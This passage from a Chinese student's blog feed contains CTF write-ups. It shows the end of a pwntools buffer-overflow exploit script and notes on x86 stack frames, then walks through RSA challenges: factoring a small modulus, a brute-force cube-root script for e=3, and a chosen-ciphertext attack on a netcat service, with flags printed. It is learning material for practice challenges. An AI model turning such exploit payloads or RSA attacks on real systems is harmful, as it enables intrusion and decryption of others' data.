&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; + 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;func3_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;input_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; arg3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;调用函数大致过程&quot;&gt;调用函数大致过程&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;将&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;eax、ecx、edx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;压栈（如果被调函数要改变这些寄存器的值&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;将被调函数的参数按从右向左的顺序压入栈中；&lt;&#x2F;li&gt;
&lt;li&gt;将&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;eip（被调函数后下一条指令）压入栈中，并跳转到被调函数的地址；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;主调函数的工作干完了）&lt;&#x2F;p&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;将&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;压入栈中；&lt;&#x2F;li&gt;
&lt;li&gt;把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;esp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;赋值给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebp，使其指向新的栈帧的栈底（就是老的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebp&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;将&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebx、esi、edi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;压栈（如果被调函数要改变这些寄存器的值&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;给局部变量分配空间（局部变量用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebp-&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;便宜找到，参数用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;epb+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;便宜&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;进行被调函数的各种操作；&lt;&#x2F;li&gt;
&lt;li&gt;返回值（整形给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;eax，浮点型给浮点寄存器，结构体就存在栈里&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;被调函数完了）&lt;&#x2F;p&gt;
&lt;ol start=&quot;10&quot;&gt;
&lt;li&gt;做了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就恢复那些寄存器的值；&lt;&#x2F;li&gt;
&lt;li&gt;把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ebp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的值传给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;esp；&lt;&#x2F;li&gt;
&lt;li&gt;popl %ebp（看图好像是 ebp=&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;老 ebp
的赋值&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;ret(popl %eip)；&lt;&#x2F;li&gt;
&lt;li&gt;把参数弹出栈；&lt;&#x2F;li&gt;
&lt;li&gt;把返回值存下来（movl %eax,
wherever…&lt;span class=&quot;halt&quot;&gt;…&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;做了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就恢复这些寄存器。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;要返回一个指定函数时函数地址和参数之间还有一行函数执行完后指令的地址，相当于上面的第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;条。&lt;&#x2F;p&gt;
&lt;p&gt;这些是看&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.cs.princeton.edu&#x2F;courses&#x2F;archive&#x2F;spr11&#x2F;cos217&#x2F;lectures&#x2F;15AssemblyFunctions.pdf&quot;&gt;网上找的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PPT&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里抄的，这个有讲函数调用完怎么恢复。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pwn
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pwn&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>RSA作业</title>
    <published>2018-08-09T17:28:54+08:00</published>
    <updated>2018-08-09T17:28:54+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/RSA/" type="text/html" />
    <id>https://emptystack.top/RSA/</id>
    <content type="html">
      &lt;h2 id=&quot;medium_RSA&quot;&gt;medium RSA&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;PCTF{256b_i5_m3dium}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;压缩包里一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.pem&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.enc，没看见&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PPT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后面有介绍怎么写的，所以直接查了一下这题，才知道一开始要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;openssl rsa -pubin -text -modulus -in pubkey.pem&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;e、N，N&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;转为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进制后用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;yafu&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分解出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;p、q，把他们复制进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSA-Tool&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;计算出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;d。&lt;&#x2F;p&gt;
&lt;p&gt;用&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;veritas501&#x2F;article&#x2F;details&#x2F;55257957&quot;&gt;网上的脚本&lt;&#x2F;a&gt;生成私钥，命令行输&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;openssl rsautl -decrypt -in flag.enc -inkey private.pem&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;extremly_hard_RSA&quot;&gt;extremly hard RSA&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;PCTF{Sm4ll_3xpon3nt_i5_W3ak}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;内容和之前一样，所以一上来还是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;openssl rsa -pubin -text -modulus -in pubkey.pem&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;e=3，PPT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里有“低加密指数攻击&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，照着那一页写脚本（p，q&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;yafu&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分解出，c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;hex &amp;lt; flag.enc&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;m&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;简单，快速地暴力破解和输出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;m&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;难。经过唐老板、董斌、尹大佬指点，最终脚本如下（还有问题，但反正能用&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; gmpy2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; Crypto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;Util&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; concurrent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;futures&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; ProcessPoolExecutor&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;85c0de5f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 太长，影响阅读&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;N&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;B0BEE5E3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 后面截掉了&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; breach&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 没有这句我就觉得程序没在运行&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2000000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; gmpy2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;iroot&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; N&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;number&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;long_to_bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;__main__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    with&lt;&#x2F;span&gt;&lt;span&gt; ProcessPoolExecutor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;max_workers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; pool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        #        尹大佬加的第三个参数，立刻快了许多👇&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        pool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;map&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;breach&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1000000000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2000000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;netcat_123.207.38.247_9999&quot;&gt;netcat 123.207.38.247 9999&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;islab{RSA_i5_v5ry_eazzzzy}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;问尹大佬我的多进程怎么改的时候，听到冯大佬说这是选择明文攻击，然后上网查到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;crypto.stackexchange.com&#x2F;questions&#x2F;2323&#x2F;how-does-a-chosen-plaintext-attack-on-rsa-work#2331&quot;&gt;这篇文章&lt;&#x2F;a&gt;。虽然不明白为啥，但跟着它做就做出来了：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;选&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3，得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;加密后的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C；&lt;&#x2F;li&gt;
&lt;li&gt;选&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1，输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x2，得到的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;sub&gt;a&lt;&#x2F;sub&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;C&lt;sub&gt;a&lt;&#x2F;sub&gt; ×
C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;sub&gt;b&lt;&#x2F;sub&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;选&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2，输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;sub&gt;b&lt;&#x2F;sub&gt;，得到解密后的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;sub&gt;b&lt;&#x2F;sub&gt;，我管它叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cbd_modn；&lt;&#x2F;li&gt;
&lt;li&gt;根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cbd_modn = cbd mod
n&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;求&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cbd（应该有很多可能值，我一开始把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cdb_modn&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;直接当成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cbd&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用出结果了，试了试加了几倍的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;n&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;反而不行，所以不改脚本了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cbd = flag × 2 mod
n&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;求&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;脚本：&lt;&#x2F;p&gt;
